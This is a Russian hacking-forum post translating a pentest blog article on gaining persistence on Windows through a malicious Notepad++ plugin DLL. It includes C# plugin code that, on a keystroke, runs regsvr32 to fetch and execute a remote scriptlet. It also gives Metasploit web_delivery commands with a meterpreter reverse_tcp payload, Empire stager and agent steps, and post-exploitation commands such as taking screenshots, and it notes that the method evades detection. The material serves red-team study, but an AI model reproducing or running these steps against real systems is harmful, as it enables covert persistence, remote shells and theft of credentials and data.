• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Персистенс– Плагины Notepad++

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Нередко в среде Windows, особенно на выделенных серверах, которыми управляют разработчики или ИТ-персонал, установлен текстовый редактор Notepad++. Помимо хранения сценариев и команд администратора, которые могут предоставить важную информацию для оператора RT, его можно использовать в качестве механизма персистентности путем загрузки произвольного подключаемого модуля, который будет выполнять команду или сценарий из удаленного места.

Дэниел Дагган изложил идею персистентности с помощью плагинов Notepad++ в статье, в которой освещается этот метод. Плагины могут использоваться для расширения возможностей Notepad++. По умолчанию существует список утвержденных плагинов, которые пользователь может загрузить в Notepad++, но пользовательские плагины также разрешены без какой-либо проверки, что дает разработчикам гибкость в расширении использования текстового редактора. Плагин имеет форму файла DLL и хранится по следующему пути:

%PROGRAMFILES%\Notepad++\plugins

Следует отметить, что для загрузки плагина папка и DLL должны иметь одинаковые имена. Для операторов RT нет необходимости писать вредоносный плагин с нуля, поскольку в качестве шаблона можно использовать пакет плагинов Notepad++. Существуют различные API, которые можно использовать для выполнения чего-либо произвольного при возникновении определенного события. SCI_ADDTEXT API запускает пользовательскую команду, когда символ вводится в Notepad++. В следующем примере при вставке символа появится окно сообщения.

C#:
class Main
{
    static bool ExecuteOnce = true;
 
    public static void OnNotification(ScNotification notification)
    {
        if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && ExecuteOnce)
        {
            MessageBox.Show("Persistence via Notepad++ - Visit https://pentestlab.blog");
 
            ExecuteOnce = !ExecuteOnce;
        }
    }


1646292538390.png


Компиляция кода создаст файл DLL. Этот метод можно использовать в контексте пользователя с повышенными правами, такого как администратор, поскольку требуются права на запись, чтобы поместить плагин в соответствующую подпапку "Program Files".

dir "C:\Program Files\Notepad++\plugins\pentestlab"

1646292559911.png


При следующем запуске Notepad++ и вводе символа появится окно сообщения, указывающее на успешное выполнение кода.

1646292579588.png


Полезные нагрузки без файлов также могут быть выполнены для установления канала связи. Очень популярный метод использует двоичный файл regsvr32 Windows для выполнения скриптлета из удаленного места. Metasploit Framework поддерживает эту технику через модуль веб-доставки. Выполнение приведенных ниже команд запустит сервер, на котором будет размещена полезная нагрузка.

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.3
set LPORT 4444
run


Код можно немного изменить для выполнения regsvr32 с необходимыми аргументами.

C#:
class Main
    {
static bool firstRun = true;
 
        public static void OnNotification(ScNotification notification)
        {
            if (notification.Header.Code == (uint)SciMsg.SCI_ADDTEXT && firstRun)
            {
                string strCmdText;
                strCmdText = "/s /n /u /i:http://10.0.0.3:8080/nHIcvfz6N.sct scrobj.dll";
                Process.Start("regsvr32", strCmdText);
                firstRun = !firstRun;
                }
            }

1646292623543.png


Точно так же, как и в исходном примере, когда в Notepad++ вводится новый символ, это вызывает событие, которое запускает команду.

1646292635658.png


Откроется сеанс Meterpreter и будет установлен канал связи.

1646293022521.png


Выполнение приведенных ниже команд инициирует взаимодействие с целевым хостом и извлекает родительский рабочий каталог и пользователя, инициировавшего полезную нагрузку.

sessions
sessions -i 1
pwd
getuid

1646293049952.png



Empire


Аналогичным образом Empire C2 можно использовать для создания различных файлов стейджа. Эти файлы обычно содержат команду base64, которую можно выполнить в процессе PowerShell. В качестве примера был использован следующий стейджер:

usestager windows/launcher_sct

1646293069546.png


Стайджер должен указывать на слушатель, который уже запущен в Empire, и команда execute запишет файл в папку «generated-stagers».

set Listener http
execute


1646293094791.png


Файл можно было закинуть в систему и выполнить через regsvr32. Кроме того, эту команду можно использовать внутри плагина, чтобы избежать записи файла .sct на диск.

1646293106955.png


1646293120229.png


Как только команда сработает, в Empire появится новый агент.

agents

1646293134453.png


Дополнительные модули Empire можно использовать для выполнения дальнейших действий, таких как создание снимка экрана хоста. Нередко Notepad++ содержит такую информацию, как имена пользователей, строки подключения или URL-адреса, которые можно извлечь с помощью этого метода и использовать во время наступательных операций.

usemodule powershell/collection/screenshot
set Agent notepad
execute


1646293159746.png


1646293169574.png


Следует отметить, что создание процесса не считается безопасным методом opsec. Однако, изменив код, операторы КЕ могут использовать другие методы внедрения процессов, которые позволят им оставаться незамеченными. Недостатком этого метода является то, что пользователь должен ввести символ, и поэтому маячки могут не приниматься на постоянной основе. Однако с положительной стороны он не считается распространенным методом персистентности и может избежать обнаружения даже в зрелых средах.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх